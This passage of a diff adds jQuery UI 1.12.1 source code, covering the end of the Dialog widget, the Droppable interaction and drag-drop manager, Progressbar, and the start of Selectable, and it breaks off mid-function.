+ } + } ); + + uiDialogTitle = $( "<span>" ).uniqueId().prependTo( this.uiDialogTitlebar ); + this._addClass( uiDialogTitle, "ui-dialog-title" ); + this._title( uiDialogTitle ); + + this.uiDialogTitlebar.prependTo( this.uiDialog ); + + this.uiDialog.attr( { + "aria-labelledby": uiDialogTitle.attr( "id" ) + } ); + }, + + _title: function( title ) { + if ( this.options.title ) { + title.text( this.options.title ); + } else { + title.html( " " ); + } + }, + + _createButtonPane: function() { + this.uiDialogButtonPane = $( "<div>" ); + this._addClass( this.uiDialogButtonPane, "ui-dialog-buttonpane", + "ui-widget-content ui-helper-clearfix" ); + + this.uiButtonSet = $( "<div>" ) + .appendTo( this.uiDialogButtonPane ); + this._addClass( this.uiButtonSet, "ui-dialog-buttonset" ); + + this._createButtons(); + }, + + _createButtons: function() { + var that = this, + buttons = this.options.buttons; + + // If we already have a button pane, remove it + this.uiDialogButtonPane.remove(); + this.uiButtonSet.empty(); + + if ( $.isEmptyObject( buttons ) || ( $.isArray( buttons ) && !buttons.length ) ) { + this._removeClass( this.uiDialog, "ui-dialog-buttons" ); + return; + } + + $.each( buttons, function( name, props ) { + var click, buttonOptions; + props = $.isFunction( props ) ? + { click: props, text: name } : + props; + + // Default to a non-submitting button + props = $.extend( { type: "button" }, props ); + + // Change the context for the click callback to be the main element + click = props.click; + buttonOptions = { + icon: props.icon, + iconPosition: props.iconPosition, + showLabel: props.showLabel, + + // Deprecated options + icons: props.icons, + text: props.text + }; + + delete props.click; + delete props.icon; + delete props.iconPosition; + delete props.showLabel; + + // Deprecated options + delete props.icons; + if ( typeof props.text === "boolean" ) { + delete props.text; + } + + $( "<button></button>", props ) + .button( buttonOptions ) + .appendTo( that.uiButtonSet ) + .on( "click", function() { + click.apply( that.element[ 0 ], arguments ); + } ); + } ); + this._addClass( this.uiDialog, "ui-dialog-buttons" ); + this.uiDialogButtonPane.appendTo( this.uiDialog ); + }, + + _makeDraggable: function() { + var that = this, + options = this.options; + + function filteredUi( ui ) { + return { + position: ui.position, + offset: ui.offset + }; + } + + this.uiDialog.draggable( { + cancel: ".ui-dialog-content, .ui-dialog-titlebar-close", + handle: ".ui-dialog-titlebar", + containment: "document", + start: function( event, ui ) { + that._addClass( $( this ), "ui-dialog-dragging" ); + that._blockFrames(); + that._trigger( "dragStart", event, filteredUi( ui ) ); + }, + drag: function( event, ui ) { + that._trigger( "drag", event, filteredUi( ui ) ); + }, + stop: function( event, ui ) { + var left = ui.offset.left - that.document.scrollLeft(), + top = ui.offset.top - that.document.scrollTop(); + + options.position = { + my: "left top", + at: "left" + ( left >= 0 ? "+" : "" ) + left + " " + + "top" + ( top >= 0 ? "+" : "" ) + top, + of: that.window + }; + that._removeClass( $( this ), "ui-dialog-dragging" ); + that._unblockFrames(); + that._trigger( "dragStop", event, filteredUi( ui ) ); + } + } ); + }, + + _makeResizable: function() { + var that = this, + options = this.options, + handles = options.resizable, + + // .ui-resizable has position: relative defined in the stylesheet + // but dialogs have to use absolute or fixed positioning + position = this.uiDialog.css( "position" ), + resizeHandles = typeof handles === "string" ? + handles : + "n,e,s,w,se,sw,ne,nw"; + + function filteredUi( ui ) { + return { + originalPosition: ui.originalPosition, + originalSize: ui.originalSize, + position: ui.position, + size: ui.size + }; + } + + this.uiDialog.resizable( { + cancel: ".ui-dialog-content", + containment: "document", + alsoResize: this.element, + maxWidth: options.maxWidth, + maxHeight: options.maxHeight, + minWidth: options.minWidth, + minHeight: this._minHeight(), + handles: resizeHandles, + start: function( event, ui ) { + that._addClass( $( this ), "ui-dialog-resizing" ); + that._blockFrames(); + that._trigger( "resizeStart", event, filteredUi( ui ) ); + }, + resize: function( event, ui ) { + that._trigger( "resize", event, filteredUi( ui ) ); + }, + stop: function( event, ui ) { + var offset = that.uiDialog.offset(), + left = offset.left - that.document.scrollLeft(), + top = offset.top - that.document.scrollTop(); + + options.height = that.uiDialog.height(); + options.width = that.uiDialog.width(); + options.position = { + my: "left top", + at: "left" + ( left >= 0 ? "+" : "" ) + left + " " + + "top" + ( top >= 0 ? "+" : "" ) + top, + of: that.window + }; + that._removeClass( $( this ), "ui-dialog-resizing" ); + that._unblockFrames(); + that._trigger( "resizeStop", event, filteredUi( ui ) ); + } + } ) + .css( "position", position ); + }, + + _trackFocus: function() { + this._on( this.widget(), { + focusin: function( event ) { + this._makeFocusTarget(); + this._focusedElement = $( event.target ); + } + } ); + }, + + _makeFocusTarget: function() { + this._untrackInstance(); + this._trackingInstances().unshift( this ); + }, + + _untrackInstance: function() { + var instances = this._trackingInstances(), + exists = $.inArray( this, instances ); + if ( exists !== -1 ) { + instances.splice( exists, 1 ); + } + }, + + _trackingInstances: function() { + var instances = this.document.data( "ui-dialog-instances" ); + if ( !instances ) { + instances = []; + this.document.data( "ui-dialog-instances", instances ); + } + return instances; + }, + + _minHeight: function() { + var options = this.options; + + return options.height === "auto" ? + options.minHeight : + Math.min( options.minHeight, options.height ); + }, + + _position: function() { + + // Need to show the dialog to get the actual offset in the position plugin + var isVisible = this.uiDialog.is( ":visible" ); + if ( !isVisible ) { + this.uiDialog.show(); + } + this.uiDialog.position( this.options.position ); + if ( !isVisible ) { + this.uiDialog.hide(); + } + }, + + _setOptions: function( options ) { + var that = this, + resize = false, + resizableOptions = {}; + + $.each( options, function( key, value ) { + that._setOption( key, value ); + + if ( key in that.sizeRelatedOptions ) { + resize = true; + } + if ( key in that.resizableRelatedOptions ) { + resizableOptions[ key ] = value; + } + } ); + + if ( resize ) { + this._size(); + this._position(); + } + if ( this.uiDialog.is( ":data(ui-resizable)" ) ) { + this.uiDialog.resizable( "option", resizableOptions ); + } + }, + + _setOption: function( key, value ) { + var isDraggable, isResizable, + uiDialog = this.uiDialog; + + if ( key === "disabled" ) { + return; + } + + this._super( key, value ); + + if ( key === "appendTo" ) { + this.uiDialog.appendTo( this._appendTo() ); + } + + if ( key === "buttons" ) { + this._createButtons(); + } + + if ( key === "closeText" ) { + this.uiDialogTitlebarClose.button( { + + // Ensure that we always pass a string + label: $( "<a>" ).text( "" + this.options.closeText ).html() + } ); + } + + if ( key === "draggable" ) { + isDraggable = uiDialog.is( ":data(ui-draggable)" ); + if ( isDraggable && !value ) { + uiDialog.draggable( "destroy" ); + } + + if ( !isDraggable && value ) { + this._makeDraggable(); + } + } + + if ( key === "position" ) { + this._position(); + } + + if ( key === "resizable" ) { + + // currently resizable, becoming non-resizable + isResizable = uiDialog.is( ":data(ui-resizable)" ); + if ( isResizable && !value ) { + uiDialog.resizable( "destroy" ); + } + + // Currently resizable, changing handles + if ( isResizable && typeof value === "string" ) { + uiDialog.resizable( "option", "handles", value ); + } + + // Currently non-resizable, becoming resizable + if ( !isResizable && value !== false ) { + this._makeResizable(); + } + } + + if ( key === "title" ) { + this._title( this.uiDialogTitlebar.find( ".ui-dialog-title" ) ); + } + }, + + _size: function() { + + // If the user has resized the dialog, the .ui-dialog and .ui-dialog-content + // divs will both have width and height set, so we need to reset them + var nonContentHeight, minContentHeight, maxContentHeight, + options = this.options; + + // Reset content sizing + this.element.show().css( { + width: "auto", + minHeight: 0, + maxHeight: "none", + height: 0 + } ); + + if ( options.minWidth > options.width ) { + options.width = options.minWidth; + } + + // Reset wrapper sizing + // determine the height of all the non-content elements + nonContentHeight = this.uiDialog.css( { + height: "auto", + width: options.width + } ) + .outerHeight(); + minContentHeight = Math.max( 0, options.minHeight - nonContentHeight ); + maxContentHeight = typeof options.maxHeight === "number" ? + Math.max( 0, options.maxHeight - nonContentHeight ) : + "none"; + + if ( options.height === "auto" ) { + this.element.css( { + minHeight: minContentHeight, + maxHeight: maxContentHeight, + height: "auto" + } ); + } else { + this.element.height( Math.max( 0, options.height - nonContentHeight ) ); + } + + if ( this.uiDialog.is( ":data(ui-resizable)" ) ) { + this.uiDialog.resizable( "option", "minHeight", this._minHeight() ); + } + }, + + _blockFrames: function() { + this.iframeBlocks = this.document.find( "iframe" ).map( function() { + var iframe = $( this ); + + return $( "<div>" ) + .css( { + position: "absolute", + width: iframe.outerWidth(), + height: iframe.outerHeight() + } ) + .appendTo( iframe.parent() ) + .offset( iframe.offset() )[ 0 ]; + } ); + }, + + _unblockFrames: function() { + if ( this.iframeBlocks ) { + this.iframeBlocks.remove(); + delete this.iframeBlocks; + } + }, + + _allowInteraction: function( event ) { + if ( $( event.target ).closest( ".ui-dialog" ).length ) { + return true; + } + + // TODO: Remove hack when datepicker implements + // the .ui-front logic (#8989) + return !!$( event.target ).closest( ".ui-datepicker" ).length; + }, + + _createOverlay: function() { + if ( !this.options.modal ) { + return; + } + + // We use a delay in case the overlay is created from an + // event that we're going to be cancelling (#2804) + var isOpening = true; + this._delay( function() { + isOpening = false; + } ); + + if ( !this.document.data( "ui-dialog-overlays" ) ) { + + // Prevent use of anchors and inputs + // Using _on() for an event handler shared across many instances is + // safe because the dialogs stack and must be closed in reverse order + this._on( this.document, { + focusin: function( event ) { + if ( isOpening ) { + return; + } + + if ( !this._allowInteraction( event ) ) { + event.preventDefault(); + this._trackingInstances()[ 0 ]._focusTabbable(); + } + } + } ); + } + + this.overlay = $( "<div>" ) + .appendTo( this._appendTo() ); + + this._addClass( this.overlay, null, "ui-widget-overlay ui-front" ); + this._on( this.overlay, { + mousedown: "_keepFocus" + } ); + this.document.data( "ui-dialog-overlays", + ( this.document.data( "ui-dialog-overlays" ) || 0 ) + 1 ); + }, + + _destroyOverlay: function() { + if ( !this.options.modal ) { + return; + } + + if ( this.overlay ) { + var overlays = this.document.data( "ui-dialog-overlays" ) - 1; + + if ( !overlays ) { + this._off( this.document, "focusin" ); + this.document.removeData( "ui-dialog-overlays" ); + } else { + this.document.data( "ui-dialog-overlays", overlays ); + } + + this.overlay.remove(); + this.overlay = null; + } + } +} ); + +// DEPRECATED +// TODO: switch return back to widget declaration at top of file when this is removed +if ( $.uiBackCompat !== false ) { + + // Backcompat for dialogClass option + $.widget( "ui.dialog", $.ui.dialog, { + options: { + dialogClass: "" + }, + _createWrapper: function() { + this._super(); + this.uiDialog.addClass( this.options.dialogClass ); + }, + _setOption: function( key, value ) { + if ( key === "dialogClass" ) { + this.uiDialog + .removeClass( this.options.dialogClass ) + .addClass( value ); + } + this._superApply( arguments ); + } + } ); +} + +var widgetsDialog = $.ui.dialog; + + +/*! + * jQuery UI Droppable 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + */ + +//>>label: Droppable +//>>group: Interactions +//>>description: Enables drop targets for draggable elements. +//>>docs: http://api.jqueryui.com/droppable/ +//>>demos: http://jqueryui.com/droppable/ + + + +$.widget( "ui.droppable", { + version: "1.12.1", + widgetEventPrefix: "drop", + options: { + accept: "*", + addClasses: true, + greedy: false, + scope: "default", + tolerance: "intersect", + + // Callbacks + activate: null, + deactivate: null, + drop: null, + out: null, + over: null + }, + _create: function() { + + var proportions, + o = this.options, + accept = o.accept; + + this.isover = false; + this.isout = true; + + this.accept = $.isFunction( accept ) ? accept : function( d ) { + return d.is( accept ); + }; + + this.proportions = function( /* valueToWrite */ ) { + if ( arguments.length ) { + + // Store the droppable's proportions + proportions = arguments[ 0 ]; + } else { + + // Retrieve or derive the droppable's proportions + return proportions ? + proportions : + proportions = { + width: this.element[ 0 ].offsetWidth, + height: this.element[ 0 ].offsetHeight + }; + } + }; + + this._addToManager( o.scope ); + + o.addClasses && this._addClass( "ui-droppable" ); + + }, + + _addToManager: function( scope ) { + + // Add the reference and positions to the manager + $.ui.ddmanager.droppables[ scope ] = $.ui.ddmanager.droppables[ scope ] || []; + $.ui.ddmanager.droppables[ scope ].push( this ); + }, + + _splice: function( drop ) { + var i = 0; + for ( ; i < drop.length; i++ ) { + if ( drop[ i ] === this ) { + drop.splice( i, 1 ); + } + } + }, + + _destroy: function() { + var drop = $.ui.ddmanager.droppables[ this.options.scope ]; + + this._splice( drop ); + }, + + _setOption: function( key, value ) { + + if ( key === "accept" ) { + this.accept = $.isFunction( value ) ? value : function( d ) { + return d.is( value ); + }; + } else if ( key === "scope" ) { + var drop = $.ui.ddmanager.droppables[ this.options.scope ]; + + this._splice( drop ); + this._addToManager( value ); + } + + this._super( key, value ); + }, + + _activate: function( event ) { + var draggable = $.ui.ddmanager.current; + + this._addActiveClass(); + if ( draggable ) { + this._trigger( "activate", event, this.ui( draggable ) ); + } + }, + + _deactivate: function( event ) { + var draggable = $.ui.ddmanager.current; + + this._removeActiveClass(); + if ( draggable ) { + this._trigger( "deactivate", event, this.ui( draggable ) ); + } + }, + + _over: function( event ) { + + var draggable = $.ui.ddmanager.current; + + // Bail if draggable and droppable are same element + if ( !draggable || ( draggable.currentItem || + draggable.element )[ 0 ] === this.element[ 0 ] ) { + return; + } + + if ( this.accept.call( this.element[ 0 ], ( draggable.currentItem || + draggable.element ) ) ) { + this._addHoverClass(); + this._trigger( "over", event, this.ui( draggable ) ); + } + + }, + + _out: function( event ) { + + var draggable = $.ui.ddmanager.current; + + // Bail if draggable and droppable are same element + if ( !draggable || ( draggable.currentItem || + draggable.element )[ 0 ] === this.element[ 0 ] ) { + return; + } + + if ( this.accept.call( this.element[ 0 ], ( draggable.currentItem || + draggable.element ) ) ) { + this._removeHoverClass(); + this._trigger( "out", event, this.ui( draggable ) ); + } + + }, + + _drop: function( event, custom ) { + + var draggable = custom || $.ui.ddmanager.current, + childrenIntersection = false; + + // Bail if draggable and droppable are same element + if ( !draggable || ( draggable.currentItem || + draggable.element )[ 0 ] === this.element[ 0 ] ) { + return false; + } + + this.element + .find( ":data(ui-droppable)" ) + .not( ".ui-draggable-dragging" ) + .each( function() { + var inst = $( this ).droppable( "instance" ); + if ( + inst.options.greedy && + !inst.options.disabled && + inst.options.scope === draggable.options.scope && + inst.accept.call( + inst.element[ 0 ], ( draggable.currentItem || draggable.element ) + ) && + intersect( + draggable, + $.extend( inst, { offset: inst.element.offset() } ), + inst.options.tolerance, event + ) + ) { + childrenIntersection = true; + return false; } + } ); + if ( childrenIntersection ) { + return false; + } + + if ( this.accept.call( this.element[ 0 ], + ( draggable.currentItem || draggable.element ) ) ) { + this._removeActiveClass(); + this._removeHoverClass(); + + this._trigger( "drop", event, this.ui( draggable ) ); + return this.element; + } + + return false; + + }, + + ui: function( c ) { + return { + draggable: ( c.currentItem || c.element ), + helper: c.helper, + position: c.position, + offset: c.positionAbs + }; + }, + + // Extension points just to make backcompat sane and avoid duplicating logic + // TODO: Remove in 1.13 along with call to it below + _addHoverClass: function() { + this._addClass( "ui-droppable-hover" ); + }, + + _removeHoverClass: function() { + this._removeClass( "ui-droppable-hover" ); + }, + + _addActiveClass: function() { + this._addClass( "ui-droppable-active" ); + }, + + _removeActiveClass: function() { + this._removeClass( "ui-droppable-active" ); + } +} ); + +var intersect = $.ui.intersect = ( function() { + function isOverAxis( x, reference, size ) { + return ( x >= reference ) && ( x < ( reference + size ) ); + } + + return function( draggable, droppable, toleranceMode, event ) { + + if ( !droppable.offset ) { + return false; + } + + var x1 = ( draggable.positionAbs || + draggable.position.absolute ).left + draggable.margins.left, + y1 = ( draggable.positionAbs || + draggable.position.absolute ).top + draggable.margins.top, + x2 = x1 + draggable.helperProportions.width, + y2 = y1 + draggable.helperProportions.height, + l = droppable.offset.left, + t = droppable.offset.top, + r = l + droppable.proportions().width, + b = t + droppable.proportions().height; + + switch ( toleranceMode ) { + case "fit": + return ( l <= x1 && x2 <= r && t <= y1 && y2 <= b ); + case "intersect": + return ( l < x1 + ( draggable.helperProportions.width / 2 ) && // Right Half + x2 - ( draggable.helperProportions.width / 2 ) < r && // Left Half + t < y1 + ( draggable.helperProportions.height / 2 ) && // Bottom Half + y2 - ( draggable.helperProportions.height / 2 ) < b ); // Top Half + case "pointer": + return isOverAxis( event.pageY, t, droppable.proportions().height ) && + isOverAxis( event.pageX, l, droppable.proportions().width ); + case "touch": + return ( + ( y1 >= t && y1 <= b ) || // Top edge touching + ( y2 >= t && y2 <= b ) || // Bottom edge touching + ( y1 < t && y2 > b ) // Surrounded vertically + ) && ( + ( x1 >= l && x1 <= r ) || // Left edge touching + ( x2 >= l && x2 <= r ) || // Right edge touching + ( x1 < l && x2 > r ) // Surrounded horizontally + ); + default: + return false; + } + }; +} )(); + +/* + This manager tracks offsets of draggables and droppables +*/ +$.ui.ddmanager = { + current: null, + droppables: { "default": [] }, + prepareOffsets: function( t, event ) { + + var i, j, + m = $.ui.ddmanager.droppables[ t.options.scope ] || [], + type = event ? event.type : null, // workaround for #2317 + list = ( t.currentItem || t.element ).find( ":data(ui-droppable)" ).addBack(); + + droppablesLoop: for ( i = 0; i < m.length; i++ ) { + + // No disabled and non-accepted + if ( m[ i ].options.disabled || ( t && !m[ i ].accept.call( m[ i ].element[ 0 ], + ( t.currentItem || t.element ) ) ) ) { + continue; + } + + // Filter out elements in the current dragged item + for ( j = 0; j < list.length; j++ ) { + if ( list[ j ] === m[ i ].element[ 0 ] ) { + m[ i ].proportions().height = 0; + continue droppablesLoop; + } + } + + m[ i ].visible = m[ i ].element.css( "display" ) !== "none"; + if ( !m[ i ].visible ) { + continue; + } + + // Activate the droppable if used directly from draggables + if ( type === "mousedown" ) { + m[ i ]._activate.call( m[ i ], event ); + } + + m[ i ].offset = m[ i ].element.offset(); + m[ i ].proportions( { + width: m[ i ].element[ 0 ].offsetWidth, + height: m[ i ].element[ 0 ].offsetHeight + } ); + + } + + }, + drop: function( draggable, event ) { + + var dropped = false; + + // Create a copy of the droppables in case the list changes during the drop (#9116) + $.each( ( $.ui.ddmanager.droppables[ draggable.options.scope ] || [] ).slice(), function() { + + if ( !this.options ) { + return; + } + if ( !this.options.disabled && this.visible && + intersect( draggable, this, this.options.tolerance, event ) ) { + dropped = this._drop.call( this, event ) || dropped; + } + + if ( !this.options.disabled && this.visible && this.accept.call( this.element[ 0 ], + ( draggable.currentItem || draggable.element ) ) ) { + this.isout = true; + this.isover = false; + this._deactivate.call( this, event ); + } + + } ); + return dropped; + + }, + dragStart: function( draggable, event ) { + + // Listen for scrolling so that if the dragging causes scrolling the position of the + // droppables can be recalculated (see #5003) + draggable.element.parentsUntil( "body" ).on( "scroll.droppable", function() { + if ( !draggable.options.refreshPositions ) { + $.ui.ddmanager.prepareOffsets( draggable, event ); + } + } ); + }, + drag: function( draggable, event ) { + + // If you have a highly dynamic page, you might try this option. It renders positions + // every time you move the mouse. + if ( draggable.options.refreshPositions ) { + $.ui.ddmanager.prepareOffsets( draggable, event ); + } + + // Run through all droppables and check their positions based on specific tolerance options + $.each( $.ui.ddmanager.droppables[ draggable.options.scope ] || [], function() { + + if ( this.options.disabled || this.greedyChild || !this.visible ) { + return; + } + + var parentInstance, scope, parent, + intersects = intersect( draggable, this, this.options.tolerance, event ), + c = !intersects && this.isover ? + "isout" : + ( intersects && !this.isover ? "isover" : null ); + if ( !c ) { + return; + } + + if ( this.options.greedy ) { + + // find droppable parents with same scope + scope = this.options.scope; + parent = this.element.parents( ":data(ui-droppable)" ).filter( function() { + return $( this ).droppable( "instance" ).options.scope === scope; + } ); + + if ( parent.length ) { + parentInstance = $( parent[ 0 ] ).droppable( "instance" ); + parentInstance.greedyChild = ( c === "isover" ); + } + } + + // We just moved into a greedy child + if ( parentInstance && c === "isover" ) { + parentInstance.isover = false; + parentInstance.isout = true; + parentInstance._out.call( parentInstance, event ); + } + + this[ c ] = true; + this[ c === "isout" ? "isover" : "isout" ] = false; + this[ c === "isover" ? "_over" : "_out" ].call( this, event ); + + // We just moved out of a greedy child + if ( parentInstance && c === "isout" ) { + parentInstance.isout = false; + parentInstance.isover = true; + parentInstance._over.call( parentInstance, event ); + } + } ); + + }, + dragStop: function( draggable, event ) { + draggable.element.parentsUntil( "body" ).off( "scroll.droppable" ); + + // Call prepareOffsets one final time since IE does not fire return scroll events when + // overflow was caused by drag (see #5003) + if ( !draggable.options.refreshPositions ) { + $.ui.ddmanager.prepareOffsets( draggable, event ); + } + } +}; + +// DEPRECATED +// TODO: switch return back to widget declaration at top of file when this is removed +if ( $.uiBackCompat !== false ) { + + // Backcompat for activeClass and hoverClass options + $.widget( "ui.droppable", $.ui.droppable, { + options: { + hoverClass: false, + activeClass: false + }, + _addActiveClass: function() { + this._super(); + if ( this.options.activeClass ) { + this.element.addClass( this.options.activeClass ); + } + }, + _removeActiveClass: function() { + this._super(); + if ( this.options.activeClass ) { + this.element.removeClass( this.options.activeClass ); + } + }, + _addHoverClass: function() { + this._super(); + if ( this.options.hoverClass ) { + this.element.addClass( this.options.hoverClass ); + } + }, + _removeHoverClass: function() { + this._super(); + if ( this.options.hoverClass ) { + this.element.removeClass( this.options.hoverClass ); + } + } + } ); +} + +var widgetsDroppable = $.ui.droppable; + + +/*! + * jQuery UI Progressbar 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + */ + +//>>label: Progressbar +//>>group: Widgets +// jscs:disable maximumLineLength +//>>description: Displays a status indicator for loading state, standard percentage, and other progress indicators. +// jscs:enable maximumLineLength +//>>docs: http://api.jqueryui.com/progressbar/ +//>>demos: http://jqueryui.com/progressbar/ +//>>css.structure: ../../themes/base/core.css +//>>css.structure: ../../themes/base/progressbar.css +//>>css.theme: ../../themes/base/theme.css + + + +var widgetsProgressbar = $.widget( "ui.progressbar", { + version: "1.12.1", + options: { + classes: { + "ui-progressbar": "ui-corner-all", + "ui-progressbar-value": "ui-corner-left", + "ui-progressbar-complete": "ui-corner-right" + }, + max: 100, + value: 0, + + change: null, + complete: null + }, + + min: 0, + + _create: function() { + + // Constrain initial value + this.oldValue = this.options.value = this._constrainedValue(); + + this.element.attr( { + + // Only set static values; aria-valuenow and aria-valuemax are + // set inside _refreshValue() + role: "progressbar", + "aria-valuemin": this.min + } ); + this._addClass( "ui-progressbar", "ui-widget ui-widget-content" ); + + this.valueDiv = $( "<div>" ).appendTo( this.element ); + this._addClass( this.valueDiv, "ui-progressbar-value", "ui-widget-header" ); + this._refreshValue(); + }, + + _destroy: function() { + this.element.removeAttr( "role aria-valuemin aria-valuemax aria-valuenow" ); + + this.valueDiv.remove(); + }, + + value: function( newValue ) { + if ( newValue === undefined ) { + return this.options.value; + } + + this.options.value = this._constrainedValue( newValue ); + this._refreshValue(); + }, + + _constrainedValue: function( newValue ) { + if ( newValue === undefined ) { + newValue = this.options.value; + } + + this.indeterminate = newValue === false; + + // Sanitize value + if ( typeof newValue !== "number" ) { + newValue = 0; + } + + return this.indeterminate ? false : + Math.min( this.options.max, Math.max( this.min, newValue ) ); + }, + + _setOptions: function( options ) { + + // Ensure "value" option is set after other values (like max) + var value = options.value; + delete options.value; + + this._super( options ); + + this.options.value = this._constrainedValue( value ); + this._refreshValue(); + }, + + _setOption: function( key, value ) { + if ( key === "max" ) { + + // Don't allow a max less than min + value = Math.max( this.min, value ); + } + this._super( key, value ); + }, + + _setOptionDisabled: function( value ) { + this._super( value ); + + this.element.attr( "aria-disabled", value ); + this._toggleClass( null, "ui-state-disabled", !!value ); + }, + + _percentage: function() { + return this.indeterminate ? + 100 : + 100 * ( this.options.value - this.min ) / ( this.options.max - this.min ); + }, + + _refreshValue: function() { + var value = this.options.value, + percentage = this._percentage(); + + this.valueDiv + .toggle( this.indeterminate || value > this.min ) + .width( percentage.toFixed( 0 ) + "%" ); + + this + ._toggleClass( this.valueDiv, "ui-progressbar-complete", null, + value === this.options.max ) + ._toggleClass( "ui-progressbar-indeterminate", null, this.indeterminate ); + + if ( this.indeterminate ) { + this.element.removeAttr( "aria-valuenow" ); + if ( !this.overlayDiv ) { + this.overlayDiv = $( "<div>" ).appendTo( this.valueDiv ); + this._addClass( this.overlayDiv, "ui-progressbar-overlay" ); + } + } else { + this.element.attr( { + "aria-valuemax": this.options.max, + "aria-valuenow": value + } ); + if ( this.overlayDiv ) { + this.overlayDiv.remove(); + this.overlayDiv = null; + } + } + + if ( this.oldValue !== value ) { + this.oldValue = value; + this._trigger( "change" ); + } + if ( value === this.options.max ) { + this._trigger( "complete" ); + } + } +} ); + + +/*! + * jQuery UI Selectable 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + */ + +//>>label: Selectable +//>>group: Interactions +//>>description: Allows groups of elements to be selected with the mouse. +//>>docs: http://api.jqueryui.com/selectable/ +//>>demos: http://jqueryui.com/selectable/ +//>>css.structure: ../../themes/base/selectable.css + + + +var widgetsSelectable = $.widget( "ui.selectable", $.ui.mouse, { + version: "1.12.1", + options: { + appendTo: "body", + autoRefresh: true, + distance: 0, + filter: "*", + tolerance: "touch", + + // Callbacks + selected: null, + selecting: null, + start: null, + stop: null, + unselected: null, + unselecting: null + }, + _create: function() { + var that = this; + + this._addClass( "ui-selectable" ); + + this.dragged = false; + + // Cache selectee children based on filter + this.refresh = function() { + that.elementPos = $( that.element[ 0 ] ).offset(); + that.selectees = $( that.options.filter, that.element[ 0 ] ); + that._addClass( that.selectees, "ui-selectee" ); + that.selectees.each( function() { + var $this = $( this ), + selecteeOffset = $this.offset(), + pos = { + left: selecteeOffset.left - that.elementPos.left, + top: selecteeOffset.top - that.elementPos.top + }; + $.data( this, "selectable-item", { + element: this, + $element: $this, + left: pos.left, + top: pos.top, + right: pos.left + $this.outerWidth(), + bottom: pos.top + $this.outerHeight(), + startselected: false, + selected: $this.hasClass( "ui-selected" ), + selecting: $this.hasClass( "ui-selecting" ), + unselecting: $this.hasClass( "ui-unselecting" ) + } ); + } ); + }; + this.refresh(); + + this._mouseInit(); + + this.helper = $( "<div>" ); + this._addClass( this.helper, "ui-selectable-helper" ); + }, + + _destroy: function() { + this.selectees.removeData( "selectable-item" ); + this._mouseDestroy(); + }, + + _mouseStart: function( event ) { + var that = this, + options = this.options; + + this.opos = [ event.pageX, event.pageY ]; + this.elementPos = $( this.element[ 0 ] ).offset(); + + if ( this.options.disabled ) { + return; + } + + this.selectees = $( options.filter, this.element[ 0 ] ); + + this._trigger( "start", event ); + + $( options.appendTo ).append( this.helper ); + + // position helper (lasso) + this.helper.css( { + "left": event.pageX, + "top": event.pageY, + "width": 0, + "height": 0 + } ); + + if ( options.autoRefresh ) { + this.refresh(); + } + + this.selectees.filter( ".ui-selected" ).each( function() { + var selectee = $.data( this, "selectable-item" ); + selectee.startselected = true; + if ( !event.metaKey && !event.ctrlKey ) { + that._removeClass( selectee.$element, "ui-selected" ); + selectee.selected = false; + that._addClass( selectee.$element, "ui-unselecting" ); + selectee.unselecting = true; + + // selectable UNSELECTING callback + that._trigger( "unselecting", event, { + unselecting: selectee.element + } ); + } + } ); + + $( event.target ).parents().addBack().each( function() { + var doSelect, + selectee = $.data( this, "selectable-item" ); + if ( selectee ) { + doSelect = ( !event.metaKey && !event.ctrlKey ) || + !selectee.$element.hasClass( "ui-selected" ); + that._removeClass( selectee.$element, doSelect ? "ui-unselecting" : "ui-selected" ) + ._addClass( selectee.$element, doSelect ? "ui-selecting" : "ui-unselecting" ); + selectee.unselecting = !doSelect; + selectee.selecting = doSelect; + selectee.selected = doSelect; + + // selectable (UN)SELECTING callback + if ( doSelect ) { + that._trigger( "selecting", event, { + selecting: selectee.element + } ); + } else { + that._trigger( "unselecting", event, { + unselecting: selectee.element + } ); + } + return false; + } + } ); + + }, + + _mouseDrag: function( event ) { + + this.dragged = true; + + if ( this.options.disabled ) { + return; + } + + var tmp, + that = this, + options = this.options, + x1 = this.opos[ 0 ], + y1 = this.opos[ 1 ], + x2 = event.pageX, + y2 = event.pageY; + + if ( x1 > x2 ) { tmp = x2; x2 = x1; x1 = tmp; } + if ( y1 > y2 ) { tmp = y2; y2 = y1; y1 = tmp; } + this.helper.css( { left: x1, top: y1, width: x2 - x1, height: y2 - y1 } ); + + this.selectees.each( function() { + var selectee = $.data( this, "selectable-item" ), + hit = false, + offset = {}; + + //prevent helper from being selected if appendTo: selectable + if ( !selectee || selectee.element === that.element[ 0 ] ) { + return; + } + + offset.left = selectee.left + that.elementPos.left; + offset.right = selectee.right + that.elementPos.left; + offset.top = selectee.top + that.elementPos.top; + offset.bottom = selectee.bottom + that.elementPos.top; + + if ( options.tolerance === "touch" ) { + hit = ( !( offset.left > x2 || offset.right < x1 || offset.top > y2 || + offset.bottom < y1 ) ); + } else if ( options.tolerance === "fit" ) { + hit = ( offset.left > x1 && offset.right < x2 && offset.top > y1 && + offset.bottom < y2 ); + } + + if ( hit ) { + + // SELECT + if ( selectee.selected ) { + that._removeClass( selectee.$element, "ui-selected" ); + selectee.selected = false; + } + if ( selectee.unselecting ) { + that._removeClass( selectee.$element, "ui-unselecting" ); + selectee.unselecting = false; + } + if ( !selectee.selecting ) { + that._addClass( selectee.$element, "ui-selecting" ); + selectee.selecting = true; + + // selectable SELECTING callback + that._trigger( "selecting", event, { + selecting: selectee.element + } ); + } + } else { + + // UNSELECT + if ( selectee.selecting ) { + if ( ( event.metaKey || event.ctrlKey ) && selectee.startselected ) { + that._removeClass( selectee.$element, "ui-selecting" ); + selectee.selecting = false; + that._addClass( selectee.$element, "ui-selected" ); + selectee.selected = true; + } else { + that._removeClass( selectee.$element, "ui-selecting" ); + selectee.selecting = false; + if ( selectee.startselected ) { + that._addClass( selectee.$element, "ui-unselecting" ); + selectee.unselecting = true; + } + + // selectable UNSELECTING callback + that._trigger( "unselecting", event, { + unselecting: selectee.element + } ); + } + } + if ( selectee.selected ) { + if ( !event.metaKey && !event.ctrlKey && !selectee.startselected ) { + that._removeClass( selectee.$element, "ui-selected" ); + selectee.selected = false; + + that._addClass( selectee.$element, "ui-unselecting" ); + selectee.unselecting = true; + + // selectable UNSELECTING callback + that._trigger( "unselecting", event, { + unselecting: selectee.element + } ); + } + } + } + } ); + + return false; + }, + + _mouseStop: function( event ) { + var that = this; + + this.dragged = false; + + 